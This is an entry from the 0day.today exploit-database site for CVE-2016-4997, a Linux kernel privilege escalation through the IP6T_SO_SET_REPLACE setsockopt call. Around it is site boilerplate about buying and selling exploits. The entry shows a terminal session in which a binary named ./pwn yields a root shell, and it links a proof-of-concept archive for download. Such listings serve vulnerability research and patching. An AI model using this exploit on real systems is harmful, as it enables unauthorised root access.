0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux kernel 4.6.2 - IP6T_SO_SET_REPLACE Privilege Escalation
# Exploit Title: Linux kernel <= 4.6.2 - Local Privileges Escalation via IP6T_SO_SET_REPLACE compat setsockopt call # Date: 2016.10.8 # Exploit Author: Qian Zhang@MarvelTeam Qihoo 360 # Version: Linux kernel <= 4.6.2 # Tested on: Ubuntu 16.04.1 LTS Linux 4.4.0-21-generic # CVE: CVE-2016-4997 # Reference:http://www.openwall.com/lists/oss-security/2016/09/29/10 # Contact: tyrande000@gmail.com #DESCRIPTION #=========== #The IPv6 netfilter subsystem in the Linux kernel through 4.6.2 does not validate certain offset fields, #which allows local users to escalade privileges via an IP6T_SO_SET_REPLACE compat setsockopt call with ip6_tables module loaded. zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ls compile.sh enjoy enjoy.c pwn pwn.c version.h zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ sudo modprobe ip6_tables [sudo] password for zhang_q: zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ./pwn pwn begin, let the bullets fly . . . and wait for a minute . . . pwn over, let's enjoy! preparing payload . . . trigger modified tty_release . . . got root, enjoy :) root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# hostnamectl Static hostname: ubuntu Icon name: computer-vm Chassis: vm Machine ID: 355cdf4ce8a048288640c2aa933c018f Virtualization: vmware Operating System: Ubuntu 16.04.1 LTS Kernel: Linux 4.4.0-21-generic Architecture: x86-64 root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40489.zip # 0day.today [2024-12-23] #